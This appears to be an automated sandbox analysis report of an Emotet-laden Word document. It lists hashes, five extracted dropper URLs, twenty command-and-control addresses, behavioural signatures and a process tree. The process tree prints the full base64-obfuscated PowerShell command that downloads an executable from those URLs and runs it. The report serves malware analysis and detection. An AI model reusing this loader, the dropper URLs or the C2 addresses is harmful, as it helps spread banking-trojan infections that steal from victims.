emotet | 85655f3aac75ed109b789cd705fec7c80b4a7bd0d78647d416ef7b6d2d1bc43a

General

Target

emotet_e2_85655f3aac75ed109b789cd705fec7c80b4a7bd0d78647d416ef7b6d2d1bc43a_2020-07-31__172450._doc.doc
Size

174KB
MD5

45027c36e5d958db7aa87b2194e7bfdf
SHA1

fc4691d282fcb49fd5eeacfef254f27050de8603
SHA256

85655f3aac75ed109b789cd705fec7c80b4a7bd0d78647d416ef7b6d2d1bc43a
SHA512

81fd8737bd0ddc9202cc0dbac578b2408f065ef5779ccdd5755a9c3988e5131bce488672b3c22c02b445be76ae28399ae58355073ebf78edefc050cbdbc7bcc1

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://nwcsvcs.com/cgi-bin/uz6_qs8_qr/

exe.dropper

http://odessaresources.com/cgi-bin/3_o_but9/

exe.dropper

https://onefarmdesign.com/cgi-bin/u_fig_m2mv/

exe.dropper

http://onewithyoucd.com/_mm/oix_ktcpc_dljhsex/

exe.dropper

http://www.piemonteitinera.net/n_g2o4_jumkt4/

Extracted

Family

emotet

C2

142.105.151.124:443

62.108.54.22:8080

212.51.142.238:8080

71.208.216.10:80

108.48.41.69:80

83.110.223.58:443

210.165.156.91:80

104.131.44.150:8080

104.236.246.93:8080

5.39.91.110:7080

209.141.54.221:8080

209.182.216.177:443

153.126.210.205:7080

91.211.88.52:7080

180.92.239.110:8080

183.101.175.193:80

162.241.92.219:8080

87.106.139.101:8080

114.146.222.200:80

65.111.120.223:80

rsa_pubkey.plain

Signatures

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\miguiresource\mscorier.exe	849.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
9	896	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1708	849.exe
2800	mscorier.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	896	powersheLL.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
896	powersheLL.exe
896	powersheLL.exe
896	powersheLL.exe
2800	mscorier.exe
2800	mscorier.exe
2800	mscorier.exe
2800	mscorier.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 1708 wrote to memory of 2800	1708	849.exe	76
PID 1708 wrote to memory of 2800	1708	849.exe	76
PID 1708 wrote to memory of 2800	1708	849.exe	76

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1708-11-0x0000000000540000-0x000000000054C000-memory.dmp	emotet
behavioral2/memory/1708-11-0x0000000000540000-0x000000000054C000-memory.dmp	emotet
behavioral2/memory/2800-14-0x0000000000580000-0x000000000058C000-memory.dmp	emotet
behavioral2/memory/2800-14-0x0000000000580000-0x000000000058C000-memory.dmp	emotet

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
1708	849.exe
2800	mscorier.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4092	WINWORD.EXE
4092	WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	896	3948	powersheLL.exe	67

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_85655f3aac75ed109b789cd705fec7c80b4a7bd0d78647d416ef7b6d2d1bc43a_2020-07-31__172450._doc.doc" /o ""
1⤵
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
- Checks processor information in registry
PID:4092

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABaAEMAUQBEAFgAeABwAGIAPQAnAFoAWABHAE0ASwBjAHgAbAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAQwBVAGAAUgBgAGkAVAB5AHAAcgBPAFQAYABPAEMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQATwBJAEcARwBJAGIAdABwACAAPQAgACcAOAA0ADkAJwA7ACQAQQBZAEsAUABVAGkAbABxAD0AJwBZAEgARgBOAEsAYwBjAG8AJwA7ACQAVwBGAEIATgBTAHMAdgBzAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABPAEkARwBHAEkAYgB0AHAAKwAnAC4AZQB4AGUAJwA7ACQAUwBIAEUAWQBRAHAAdgB1AD0AJwBDAFgARQBKAFcAZQBkAHAAJwA7ACQARgBHAFYATQBUAGgAaQBiAD0AJgAoACcAbgBlAHcALQBvACcAKwAnAGIAagBlAGMAJwArACcAdAAnACkAIABOAGUAdAAuAFcARQBCAEMATABpAEUATgBUADsAJABOAFEAQwBLAE0AdwBhAHkAPQAnAGgAdAB0AHAAOgAvAC8AbgB3AGMAcwB2AGMAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHUAegA2AF8AcQBzADgAXwBxAHIALwAqAGgAdAB0AHAAOgAvAC8AbwBkAGUAcwBzAGEAcgBlAHMAbwB1AHIAYwBlAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwAzAF8AbwBfAGIAdQB0ADkALwAqAGgAdAB0AHAAcwA6AC8ALwBvAG4AZQBmAGEAcgBtAGQAZQBzAGkAZwBuAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AdQBfAGYAaQBnAF8AbQAyAG0AdgAvACoAaAB0AHQAcAA6AC8ALwBvAG4AZQB3AGkAdABoAHkAbwB1AGMAZAAuAGMAbwBtAC8AXwBtAG0ALwBvAGkAeABfAGsAdABjAHAAYwBfAGQAbABqAGgAcwBlAHgALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBwAGkAZQBtAG8AbgB0AGUAaQB0AGkAbgBlAHIAYQAuAG4AZQB0AC8AbgBfAGcAMgBvADQAXwBqAHUAbQBrAHQANAAvACcALgAiAHMAYABwAEwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUABOAFcAVgBMAGcAaABjAD0AJwBUAEsAVgBLAEgAbwBkAHQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEYAUABIAEgAWgBpAGMAcgAgAGkAbgAgACQATgBRAEMASwBNAHcAYQB5ACkAewB0AHIAeQB7ACQARgBHAFYATQBUAGgAaQBiAC4AIgBkAE8AdwBOAGwATwBBAGQAZgBgAEkAYABsAEUAIgAoACQARgBQAEgASABaAGkAYwByACwAIAAkAFcARgBCAE4AUwBzAHYAcwApADsAJABMAEIASABVAFQAegBhAGoAPQAnAEQATwBMAEIASgB2AHUAbgAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQB0ACcAKwAnAGUAJwArACcAbQAnACkAIAAkAFcARgBCAE4AUwBzAHYAcwApAC4AIgBsAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADIAMAA3ADcAMwApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAGAARQBhAFQAZQAiACgAJABXAEYAQgBOAFMAcwB2AHMAKQA7ACQAWABWAFgAUgBPAHUAYwBrAD0AJwBTAFAAUQBHAEQAcQByAG4AJwA7AGIAcgBlAGEAawA7ACQAVQBVAFgAVQBDAG4AZABuAD0AJwBTAEEAQQBQAFUAbgBmAHYAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgBLAFQAWgBRAG8AcABxAD0AJwBOAEkASABLAFMAaQB1AHMAJwA=
1⤵
- Blacklisted process makes network request
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
PID:896

C:\Users\Admin\849.exe
C:\Users\Admin\849.exe
1⤵
- Drops file in System32 directory
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
PID:1708
- C:\Windows\SysWOW64\miguiresource\mscorier.exe
  "C:\Windows\SysWOW64\miguiresource\mscorier.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  PID:2800

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1708-11-0x0000000000540000-0x000000000054C000-memory.dmp

Filesize
48KB

Download
memory/2800-14-0x0000000000580000-0x000000000058C000-memory.dmp

Filesize
48KB

Download
memory/4092-3-0x000001FB1CE86000-0x000001FB1CE8F000-memory.dmp

Filesize
36KB

Download
memory/4092-7-0x000001FB1CFA6000-0x000001FB1CFBA000-memory.dmp

Filesize
80KB

Download
memory/4092-8-0x000001FB1CFA6000-0x000001FB1CFBA000-memory.dmp

Filesize
80KB

Download
memory/4092-6-0x000001FB1CFA6000-0x000001FB1CFBA000-memory.dmp

Filesize
80KB

Download
memory/4092-5-0x000001FB1CFA6000-0x000001FB1CFBA000-memory.dmp

Filesize
80KB

Download
memory/4092-4-0x000001FB1AA4C000-0x000001FB1AA5D000-memory.dmp

Filesize
68KB

Download
memory/4092-0-0x000001FB1CE8F000-0x000001FB1CEA0000-memory.dmp

Filesize
68KB

Download
memory/4092-2-0x000001FB1CE86000-0x000001FB1CE8F000-memory.dmp

Filesize
36KB

Download
memory/4092-1-0x000001FB1CE86000-0x000001FB1CE8F000-memory.dmp

Filesize
36KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads